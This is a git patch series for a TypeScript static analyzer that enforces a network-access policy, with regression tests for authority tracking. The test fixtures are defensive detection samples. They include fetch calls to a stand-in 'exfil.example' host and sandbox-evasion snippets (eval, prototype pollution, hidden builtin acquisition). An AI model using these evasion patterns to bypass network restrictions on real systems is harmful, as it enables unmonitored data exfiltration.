+ outside('mutation/reflection', 'prototype graph pollution', `(Object.prototype as any).fetch = () => {};`),
+ outside('free-global identity', 'runtime code generation (RC territory)', `eval("fetch('x')");`),
+ outside('node:http namespace/client capability', 'hidden builtin acquisition (HA territory)', `process.getBuiltinModule('http');`),
+ outside('node:http namespace/client capability', 'CommonJS require of http', `const http = require('http');\nhttp.request('x');`),
+];
+
+export const D3_REGRESSION_MATRIX: readonly RegressionRow[] = [
+ ...FREE_GLOBAL,
+ ...HTTP_CAPABILITY,
+ ...STATIC_KEYS,
+ ...SHORTHAND,
+ ...SOCKET,
+ ...RUNTIME_KEYS,
+ ...ALIAS,
+ ...LOCAL_PROPAGATION,
+ ...IMMUTABILITY,
+ ...MUTATION,
+ ...LISTENER_BOUNDARY,
+ ...OPTIONS,
+ ...FACTORY,
+ ...RESULT,
+ ...EXPORT,
+ ...FIXPOINT,
+ ...EXTRA_PARAMETERS,
+ ...REAL_HOST,
+ ...OUTSIDE_BOUNDARY,
+];
+
+/** The inline replica of the real host, exported for the fixpoint tests. */
+export const REAL_HOST_REPLICA = REAL_HOST_SHAPE;
+
+/** The reverse propagation chain builder, exported for the fixpoint tests. */
+export const reversePropagationChain = reverseChain;
From 7f8f4119739adcbdb1d5800a82c7374b0269a6fd Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Wed, 2 Sep 2026 20:42:36 +0200
Subject: [PATCH 02/20] fix(cockpit): type-safe ambient namespace check
---
tests/cockpit-host/support/d3-network-policy.ts | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 00aab93..30d61cf 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -374,8 +374,8 @@ export function valueSymbolOf(checker: ts.TypeChecker, node: ts.Node): ts.Symbol
return checker.getSymbolAtLocation(node);
}
-/** Whether a declaration is ambient: it or an enclosing declaration carries `declare`. */
-function isAmbient(node: ts.Declaration): boolean {
+/** Whether a node is ambient: it or an enclosing declaration carries `declare`. */
+function isAmbient(node: ts.Node): boolean {
let current: ts.Node = node;
while (!ts.isSourceFile(current)) {
if (ts.canHaveModifiers(current) && (ts.getCombinedModifierFlags(current as ts.Declaration) & ts.ModifierFlags.Ambient) !== 0) {
@@ -440,7 +440,7 @@ function isInstantiatedNamespace(declaration: ts.ModuleDeclaration): boolean {
if (ts.isModuleDeclaration(declaration.body)) return isInstantiatedNamespace(declaration.body);
if (!ts.isModuleBlock(declaration.body)) return false;
return declaration.body.statements.some((statement) => {
- if (isAmbient(statement as ts.Declaration)) return false;
+ if (isAmbient(statement)) return false;
if (ts.isVariableStatement(statement) || ts.isClassDeclaration(statement)) return true;
if (ts.isFunctionDeclaration(statement)) return statement.body !== undefined;
if (ts.isEnumDeclaration(statement)) return (ts.getCombinedModifierFlags(statement) & ts.ModifierFlags.Const) === 0;
From 631ef66a391eced86055982766c2bd29a0061e84 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Wed, 2 Sep 2026 23:06:37 +0200
Subject: [PATCH 03/20] fix(cockpit): preserve receiver-call authority
Close PR #67 F2/F3: a direct allowed member call on a proven
SERVER/REQUEST/RESPONSE target, or a call of a permitted static member
of a proven global root, now yields a result that conservatively retains
the receiver's authority through the existing fact model and policies.
Co-Authored-By: Claude Fable 5.1
Claude-Session: https://claude.ai/code/session_01Q6Mog1KsMYfH2GAVMw9mbg
---
tests/cockpit-host/d3-network-policy.test.ts | 195 ++++++++++++++++++
.../cockpit-host/support/d3-network-policy.ts | 85 ++++++--
.../support/d3-regression-matrix.ts | 73 +++++++
3 files changed, 339 insertions(+), 14 deletions(-)
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
index 1b73f4e..3cac231 100644
--- a/tests/cockpit-host/d3-network-policy.test.ts
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -567,6 +567,201 @@ describe('D3 network policy fixpoint is explicit, bounded and fail-closed', () =
});
});
+// ---------------------------------------------------------------------------
+// Receiver-call result authority inheritance (PR #67 F2 / F3)
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy receiver-call result authority inheritance (PR #67 F2/F3)', () => {
+ const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`;
+ const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`;
+
+ const factsOfConst = (source: string, name: string): { facts: readonly string[]; result: NetworkPolicyResult; bound: number } => {
+ const inspection = inspectNetworkPolicy(source);
+ const declaration = collectNodes(inspection.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === name);
+ const symbol = declaration === undefined ? undefined : inspection.valueSymbolOf(declaration.name);
+ if (symbol === undefined) throw new Error(`no const ${name}`);
+ return { facts: inspection.factsOf(symbol), result: inspection.result, bound: inspection.fixpointBound };
+ };
+
+ it('F2: denies every proven-target call-result witness through the existing target policy', () => {
+ for (const [source, reason] of [
+ [withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), 'SERVER_EXPORT'],
+ [withServer(`server.listen(1).on('connection', (socket) => { socket.write('x'); });`), 'SERVER_MEMBER'],
+ [withServer(`server.close().on('close', () => {});`), 'SERVER_MEMBER'],
+ [inListener(`response.setHeader('a', 'b').socket;`), 'RESPONSE_MEMBER'],
+ [inListener(`response.end('x').socket;`), 'RESPONSE_MEMBER'],
+ [inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), 'RESPONSE_ESCAPE'],
+ [withServer(`use(server.listen(1));`), 'SERVER_ESCAPE'],
+ [`${NS}\nhttp.createServer(${L}).listen(1).on('x', () => {});`, 'SERVER_MEMBER'],
+ [withServer(`const leaked = server.listen(1);\nuse(leaked);`), 'SERVER_ESCAPE'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, source).toBe('DENY');
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ }
+ });
+
+ it('F3: denies every global-root call-result witness through the existing global-receiver rules', () => {
+ for (const [source, reason] of [
+ [`globalThis.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`globalThis.global.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`const g = globalThis.valueOf();`, 'GLOBAL_RECEIVER_ESCAPE'],
+ [`window['valueOf']().WebSocket;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`use(self.valueOf());`, 'GLOBAL_RECEIVER_ESCAPE'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, source).toBe('DENY');
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]);
+ }
+ });
+
+ it('F3: follows optional calls of permitted global members exactly like plain calls, with one finding each', () => {
+ for (const [source, reason] of [
+ [`globalThis.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`globalThis?.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`globalThis?.valueOf().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`globalThis['valueOf']?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`globalThis['valueOf']?.().WebSocket;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`(globalThis.valueOf?.() as any).fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`globalThis.valueOf?.().self.fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'],
+ [`const g = globalThis.valueOf?.();`, 'GLOBAL_RECEIVER_ESCAPE'],
+ [`use(globalThis.valueOf?.());`, 'GLOBAL_RECEIVER_ESCAPE'],
+ [`function g() { return window.valueOf?.(); }`, 'GLOBAL_RECEIVER_ESCAPE'],
+ [`declare const k: string;\nglobalThis.valueOf?.()[k];`, 'GLOBAL_RECEIVER_RUNTIME_KEY'],
+ [`declare const k: string;\nglobalThis[k]?.().fetch('x');`, 'GLOBAL_RECEIVER_RUNTIME_KEY'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, source).toBe('DENY');
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]);
+ expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(1);
+ }
+ for (const source of [
+ `globalThis.valueOf?.();`,
+ `void globalThis.valueOf?.();`,
+ `typeof globalThis.valueOf?.();`,
+ `globalThis.valueOf?.().console.log('x');`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ }
+ });
+
+ it('preserves allowed chains, statement-position results and eligible propagation', () => {
+ for (const source of [
+ withServer(`server.listen(1).close();`),
+ inListener(`response.setHeader('a', 'b').end('x');`),
+ withServer(`void server.listen(1);`),
+ withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`),
+ withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(1));`),
+ withServer(`const started = server.listen(1);\nstarted.close();`),
+ `globalThis.console.log('x');`,
+ `globalThis.valueOf();`,
+ `globalThis.valueOf().console.log('x');`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ expect(result.verdict, source).toBe('ALLOW');
+ }
+ });
+
+ it('establishes SERVER authority on a const alias of a listen result as ALIAS, converging within the derived bound', () => {
+ const rooted = factsOfConst(withServer(`const leaked = server.listen(1);\nleaked.close();`), 'leaked');
+ expect(rooted.facts).toEqual(['SERVER:ALIAS']);
+ expect(rooted.result.fixpoint.state).toBe('CONVERGED');
+ expect(rooted.result.fixpoint.iterations).toBeLessThanOrEqual(rooted.bound);
+ expect(rooted.result.fixpoint.bound).toBe(rooted.bound);
+ expect(rooted.result.verdict, describeFindings(rooted.result)).toBe('ALLOW');
+
+ const direct = factsOfConst(`${NS}\nconst leaked = http.createServer(${L}).listen(1);\nleaked.close();`, 'leaked');
+ expect(direct.facts).toEqual(['SERVER:ALIAS']);
+ expect(direct.result.fixpoint.state).toBe('CONVERGED');
+
+ const chained = factsOfConst(withServer(`const a = server.listen(1);\nconst b = a.close();\nb.close();`), 'b');
+ expect(chained.facts).toEqual(['SERVER:ALIAS']);
+ expect(chained.result.fixpoint.state).toBe('CONVERGED');
+ expect(chained.result.fixpoint.iterations).toBeLessThanOrEqual(chained.bound);
+
+ const viaParam = factsOfConst(withServer(`function setup(s: http.Server) { const t = s.listen(1); t.close(); }\nsetup(server);`), 't');
+ expect(viaParam.facts).toEqual(['SERVER:PARAM']);
+ expect(viaParam.result.fixpoint.state).toBe('CONVERGED');
+
+ const response = factsOfConst(inListener(`const r2 = response.setHeader('a', 'b');\nr2.end();`), 'r2');
+ expect(response.facts).toEqual(['RESPONSE:ALIAS']);
+ });
+
+ it('does not let optional calls enter the direct-call rule: the existing member policy already denies them', () => {
+ const optionalCall = inspectNetworkPolicy(withServer(`const x = server.listen?.(1);\nuse(x);`));
+ const declaration = collectNodes(optionalCall.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === 'x');
+ const symbol = declaration === undefined ? undefined : optionalCall.valueSymbolOf(declaration.name);
+ expect(symbol && optionalCall.factsOf(symbol)).toEqual([]);
+ expect(optionalCall.result.reasons).toEqual(['SERVER_MEMBER']);
+ for (const [source, reason] of [
+ [withServer(`server.listen?.(1).on('x', () => {});`), 'SERVER_MEMBER'],
+ [withServer(`server?.listen(1).on('x', () => {});`), 'SERVER_MEMBER'],
+ [inListener(`response.end?.('x').socket;`), 'RESPONSE_MEMBER'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, source).toEqual([reason]);
+ expect(result.findings, source).toHaveLength(1);
+ }
+ });
+
+ it('keeps computed/indeterminate keys on their existing verdicts without a second finding', () => {
+ const server = analyzeNetworkPolicy(withServer(`declare const k: string;\nserver[k]().on('x', () => {});`));
+ expect(server.reasons).toEqual(['SERVER_MEMBER']);
+ expect(server.findings).toHaveLength(1);
+ const global = analyzeNetworkPolicy(`declare const k: string;\nglobalThis[k]().fetch('x');`);
+ expect(global.reasons).toEqual(['GLOBAL_RECEIVER_RUNTIME_KEY']);
+ expect(global.findings).toHaveLength(1);
+ const overLong = analyzeNetworkPolicy(withServer(`server['listenButMuchLongerThanAnyPolicyName']().on('x', () => {});`));
+ expect(overLong.reasons).toEqual(['SERVER_MEMBER']);
+ expect(overLong.findings).toHaveLength(1);
+ });
+
+ it('gives user-defined methods no authority unless their receiver already carries it', () => {
+ for (const source of [
+ withServer(`const o = { listen: () => ({ on: (x: string) => x }) };\no.listen().on('x');\nserver.close();`),
+ inListener(`const box = { end: () => ({ socket: 1 }) };\nbox.end().socket;\nresponse.end();`),
+ `const self = { valueOf: () => ({ fetch: 1 }) };\nconst v = self.valueOf();\nv.fetch;`,
+ `${NS}\nfunction other(request: any, response: any) { request.url().socket; response.end().socket; }`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ }
+ const carried = analyzeNetworkPolicy(withServer(`function setup(s: http.Server) { s.listen(1).on('x', () => {}); }\nsetup(server);`));
+ expect(carried.reasons).toEqual(['SERVER_MEMBER']);
+ });
+
+ it('leaves the existing escape rules effective', () => {
+ for (const [source, reason] of [
+ [withServer(`use(server);`), 'SERVER_ESCAPE'],
+ [inListener(`const box = { request };`), 'REQUEST_ESCAPE'],
+ [inListener(`use(response);`), 'RESPONSE_ESCAPE'],
+ [`const g = globalThis;`, 'GLOBAL_RECEIVER_ESCAPE'],
+ [`use(self);`, 'GLOBAL_RECEIVER_ESCAPE'],
+ ] as const) {
+ expect(analyzeNetworkPolicy(source).reasons, source).toEqual([reason]);
+ }
+ });
+
+ it('is structural: one expression-authority lookup, no member-name special cases', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function expressionFacts(')).toBe(1);
+ expect(occurrences(detector, 'function inheritingReceiverOf(')).toBe(1);
+ expect(occurrences(detector, 'function classesOf(')).toBe(1);
+ expect(occurrences(detector, 'factsOf(ctx, valueSymbolOf(')).toBe(1);
+ // The optional-call follow is confined to the global-receiver path; target classes keep the direct-call predicate.
+ expect(occurrences(detector, 'const memberCallOf = ')).toBe(1);
+ expect(occurrences(detector, 'memberCallOf(parent)')).toBe(1);
+ expect(occurrences(detector, 'inheritingReceiverOf(ctx, ')).toBe(1);
+ for (const forbidden of ['valueOf', 'toString', 'EventSource', 'receiverPreserving', 'RETURNS_THIS']) {
+ expect(occurrences(detector, forbidden), forbidden).toBe(0);
+ }
+ expect(POLICY_KEY_NAMES).not.toContain('valueOf');
+ });
+});
+
// ---------------------------------------------------------------------------
// Real host
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 30d61cf..e760ff0 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -21,6 +21,7 @@
* One concept, one implementation: `valueSymbolOf` is the only symbol
* resolution path; `resolveStaticKey` is the only key resolver;
* `resolvePropagationParameter` is the only parameter-propagation predicate;
+ * `expressionFacts` is the only expression-authority lookup;
* `Context.facts` is the only provenance map; `runFixpoint` is the only fixpoint.
*/
@@ -790,12 +791,40 @@ function factsOf(ctx: Context, symbol: ts.Symbol | undefined): readonly Fact[] {
});
}
-/** Authority classes carried by an expression (createServer result, factory result, or proven identifier). */
-function classesOf(ctx: Context, expression: ts.Expression): ReadonlySet {
+/**
+ * THE expression-authority lookup: the facts an expression carries — SERVER:ROOT
+ * for a proven createServer or confined factory result, a proven identifier's
+ * facts, or, through receiver-call result authority inheritance, the facts of
+ * the receiver named by `inheritingReceiverOf`.
+ */
+function expressionFacts(ctx: Context, expression: ts.Expression): readonly Fact[] {
const node = unwrap(expression);
- if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return new Set(['SERVER']);
- if (ts.isIdentifier(node)) return new Set(factsOf(ctx, valueSymbolOf(ctx.checker, node)).map((fact) => fact.authority));
- return new Set();
+ if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return [{ authority: 'SERVER', origin: 'ROOT' }];
+ if (ts.isIdentifier(node)) return factsOf(ctx, valueSymbolOf(ctx.checker, node));
+ const receiver = inheritingReceiverOf(ctx, node);
+ return receiver === null ? [] : expressionFacts(ctx, receiver);
+}
+
+/**
+ * Receiver-call result authority inheritance: the receiver whose authority a
+ * call result conservatively retains. `node` must be a direct, non-optional
+ * call whose callee is a member access on an authority-carrying receiver that
+ * passes the positive member policy of every class the receiver carries.
+ * Nothing about the member's runtime semantics is proven by its name; the
+ * result is simply never allowed to become an unrestricted value.
+ */
+function inheritingReceiverOf(ctx: Context, node: ts.Node): ts.Expression | null {
+ if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return null;
+ const callee = unwrap(node.expression);
+ if (!isMemberAccess(callee)) return null;
+ const classes = classesOf(ctx, callee.expression);
+ if (classes.size === 0) return null;
+ return [...classes].every((authority) => memberAllowed(ctx, authority, callee)) ? callee.expression : null;
+}
+
+/** Authority classes carried by an expression, through `expressionFacts`. */
+function classesOf(ctx: Context, expression: ts.Expression): ReadonlySet {
+ return new Set(expressionFacts(ctx, expression).map((fact) => fact.authority));
}
/** Whether a symbol is SERVER through a non-PARAM origin (root result or alias of one). */
@@ -885,8 +914,8 @@ function runFixpoint(ctx: Context): FixpointReport {
const initializer = unwrap(declaration.initializer);
if (isProvenCreateServerCall(ctx, initializer) || isConfinedFactoryCall(ctx, initializer)) {
if (addFact(ctx, symbol, { authority: 'SERVER', origin: 'ROOT' })) changed = true;
- } else if (ts.isIdentifier(initializer)) {
- for (const fact of factsOf(ctx, valueSymbolOf(ctx.checker, initializer))) {
+ } else {
+ for (const fact of expressionFacts(ctx, initializer)) {
const origin: AuthorityOrigin = fact.origin === 'PARAM' ? 'PARAM' : 'ALIAS';
if (addFact(ctx, symbol, { authority: fact.authority, origin })) changed = true;
}
@@ -919,9 +948,22 @@ function runFixpoint(ctx: Context): FixpointReport {
// Phase B: classification against the positive policies
// ---------------------------------------------------------------------------
-const isDirectCallee = (access: ts.Expression): boolean => {
+/** The direct, non-optional call whose callee is `access` (through wrappers), or null. */
+const directCallOf = (access: ts.Expression): ts.CallExpression | null => {
const { node, parent } = climb(access);
- return ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined;
+ return ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined ? parent : null;
+};
+
+const isDirectCallee = (access: ts.Expression): boolean => directCallOf(access) !== null;
+
+/**
+ * The call, optional or not, whose callee is `access` (through wrappers), or
+ * null. Global-receiver path only: an optional call of a permitted global
+ * member yields the same result as the plain call, so both are followed.
+ */
+const memberCallOf = (access: ts.Expression): ts.CallExpression | null => {
+ const { node, parent } = climb(access);
+ return ts.isCallExpression(parent) && parent.expression === node ? parent : null;
};
const isNumericLiteralAssignment = (access: ts.Expression): boolean => {
@@ -1072,11 +1114,16 @@ function checkCreateServerBindingUse(ctx: Context, id: ts.Identifier): void {
}
}
-/** Shared verdict for a key read off a global receiver; `onSelfHop` handles a resolved global-root key. */
-function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void): void {
+/**
+ * Shared verdict for a key read off a global receiver; `onSelfHop` handles a
+ * resolved global-root key. Returns whether the key is a permitted static member.
+ */
+function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void): boolean {
if (key.kind === 'INDETERMINATE') deny(ctx, 'GLOBAL_RECEIVER_RUNTIME_KEY', at);
else if (isResolvedTo(key, NETWORK_GLOBAL_NAMES)) deny(ctx, 'GLOBAL_RECEIVER_NETWORK_MEMBER', at);
else if (isResolvedTo(key, GLOBAL_RECEIVER_NAMES)) onSelfHop();
+ else return true;
+ return false;
}
function checkGlobalBindingPattern(ctx: Context, pattern: ts.BindingPattern): void {
@@ -1126,9 +1173,14 @@ function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void {
const { node, parent } = climb(expression);
if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return;
if (isMemberAccess(parent) && parent.expression === node) {
- checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => {
+ const permitted = checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => {
checkGlobalReceiverUse(ctx, parent);
});
+ // Receiver-call result authority inheritance: the result of a call of a
+ // permitted static member, optional or not, conservatively retains
+ // global-root authority and is checked as such.
+ const call = permitted ? memberCallOf(parent) : null;
+ if (call !== null) checkGlobalReceiverUse(ctx, call);
return;
}
if (ts.isVariableDeclaration(parent) && parent.initializer === node) {
@@ -1164,8 +1216,13 @@ function classify(ctx: Context): void {
if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes);
}
for (const call of ctx.calls) {
- if (isProvenCreateServerCall(ctx, call)) checkCreateServerCall(ctx, call);
- else if (isConfinedFactoryCall(ctx, call)) checkTargetUse(ctx, call, new Set(['SERVER']));
+ if (isProvenCreateServerCall(ctx, call)) {
+ checkCreateServerCall(ctx, call);
+ continue;
+ }
+ // Confined factory results and receiver-call results carry authority into their use site.
+ const classes = classesOf(ctx, call);
+ if (classes.size > 0) checkTargetUse(ctx, call, classes);
}
}
diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts
index ed92762..28ae98d 100644
--- a/tests/cockpit-host/support/d3-regression-matrix.ts
+++ b/tests/cockpit-host/support/d3-regression-matrix.ts
@@ -300,6 +300,35 @@ globalThis.fetch;`,
['GLOBAL_RECEIVER_NETWORK_MEMBER'],
),
allow('free-global identity', 'global-root name as a property key', `const g = { globalThis: 1, window: 2 };\ng.globalThis + g.window;`),
+ // PR #67 F3: the result of a direct non-optional call of a permitted static member retains global-root authority.
+ deny('free-global identity', 'permitted member call result reaches fetch (PR #67 F3)', `globalThis.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'self-hop then permitted member call result reaches fetch', `globalThis.global.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'permitted member call result forwarded through const', `const g = globalThis.valueOf();`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'permitted member call result forwarded through call argument', `use(window.valueOf());`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'permitted member call result forwarded through return', `function g() { return self.valueOf(); }`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'permitted member call result through static element key', `self['valueOf']().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'permitted member call result wrapped', `(globalThis.valueOf() as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'permitted member call result destructured to fetch', `const { fetch: f } = globalThis.valueOf();`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'permitted member call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf()[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
+ deny('free-global identity', 'permitted member call result self-hop then fetch', `globalThis.valueOf().window.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'chained permitted member call results', `globalThis.valueOf().valueOf().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'any permitted member call result retains root authority (not name-specific)', `const t = globalThis.toString();`, ['GLOBAL_RECEIVER_ESCAPE']),
+ allow('free-global identity', 'permitted member call as statement, void, typeof', `globalThis.valueOf();\nvoid globalThis.valueOf();\ntypeof globalThis.valueOf();`),
+ allow('free-global identity', 'non-network member of a permitted member call result', `globalThis.valueOf().console.log('x');`),
+ // PR #67 F3 (optional-call continuation): an optional call of a permitted member yields the same root value.
+ deny('free-global identity', 'optional call of a permitted member reaches fetch (PR #67 F3)', `globalThis.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional member and optional call reach fetch', `globalThis?.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional member and normal call reach fetch', `globalThis?.valueOf().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional call through a static element key reaches fetch', `globalThis['valueOf']?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional call through a static element key reaches WebSocket', `globalThis['valueOf']?.().WebSocket;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional call result forwarded through const', `const g = globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'optional call result forwarded through call argument', `use(globalThis.valueOf?.());`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'optional call result forwarded through return', `function g() { return window.valueOf?.(); }`, ['GLOBAL_RECEIVER_ESCAPE']),
+ deny('free-global identity', 'optional call result wrapped', `(globalThis.valueOf?.() as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional call result self-hop then fetch', `globalThis.valueOf?.().self.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']),
+ deny('free-global identity', 'optional call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf?.()[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
+ allow('free-global identity', 'optional permitted member call as statement, void, typeof', `globalThis.valueOf?.();\nvoid globalThis.valueOf?.();\ntypeof globalThis.valueOf?.();`),
+ allow('free-global identity', 'non-network member of an optional permitted member call result', `globalThis.valueOf?.().console.log('x');`),
];
// ---------------------------------------------------------------------------
@@ -438,6 +467,20 @@ const SOCKET: readonly RegressionRow[] = [
allow('socket acquisition through proven target policy', 'close', withServer(`server.close();`)),
allow('socket acquisition through proven target policy', 'request.method and request.url', inListener(`const m = request.method ?? '';\nconst u = request.url;\nm + u;`)),
allow('socket acquisition through proven target policy', 'response setHeader/end/statusCode', inListener(`response.statusCode = 404;\nresponse.setHeader('a', 'b');\nresponse.end('x');`)),
+ // PR #67 F2: the result of a direct non-optional allowed member call retains the receiver's authority.
+ deny('socket acquisition through proven target policy', 'listen result subscribes to connection (PR #67 F2)', withServer(`server.listen(1).on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'close result subscribes', withServer(`server.close().on('close', () => {});`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'listen result address', withServer(`server.listen(1).address();`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'setHeader result socket', inListener(`response.setHeader('a', 'b').socket;`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'end result socket', inListener(`response.end('x').socket;`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'end result socket through wrapper', inListener(`(response.end('x') as any).socket.write('x');`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'setHeader result write', inListener(`response.setHeader('a', 'b').write('x');`), ['RESPONSE_MEMBER']),
+ deny('socket acquisition through proven target policy', 'static element key call result', withServer(`server['listen'](1)['on']('x', () => {});`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'listen result destructured', withServer(`const { on } = server.listen(1);`), ['SERVER_DESTRUCTURING']),
+ allow('socket acquisition through proven target policy', 'listen result close chain', withServer(`server.listen(1).close();`)),
+ allow('socket acquisition through proven target policy', 'setHeader result end chain', inListener(`response.setHeader('a', 'b').end('x');`)),
+ allow('socket acquisition through proven target policy', 'listen result as void operand', withServer(`void server.listen(1);`)),
+ allow('socket acquisition through proven target policy', 'chained allowed calls of arbitrary length', withServer(`server.listen(1).close().listen(2).close();`)),
];
// ---------------------------------------------------------------------------
@@ -454,6 +497,8 @@ const RUNTIME_KEYS: readonly RegressionRow[] = [
deny('runtime keys', 'computed destructuring assignment key from globalThis', `declare const k: string;\nlet v;\n({ [k]: v } = globalThis);`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
deny('runtime keys', 'parameter key on request', inListener(`function read(k: string) { return request[k]; }`), ['REQUEST_MEMBER']),
deny('runtime keys', 'http[k] with parameter', `${NS}\nfunction pick(k: string) { return http[k]; }`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
+ deny('runtime keys', 'server[k]() result keeps existing member verdict', withServer(`declare const k: string;\nserver[k]().on('x', () => {});`), ['SERVER_MEMBER']),
+ deny('runtime keys', 'globalThis[k]() result keeps existing runtime-key verdict', `declare const k: string;\nglobalThis[k]().fetch('x');`, ['GLOBAL_RECEIVER_RUNTIME_KEY']),
];
// ---------------------------------------------------------------------------
@@ -481,6 +526,14 @@ const ALIAS: readonly RegressionRow[] = [
deny('alias propagation', 'alias then escape', withServer(`const a = server;\nuse(a);`), ['SERVER_ESCAPE']),
deny('alias propagation', 'alias then non-allowed member', inListener(`const q = request;\nq.socket;`), ['REQUEST_MEMBER']),
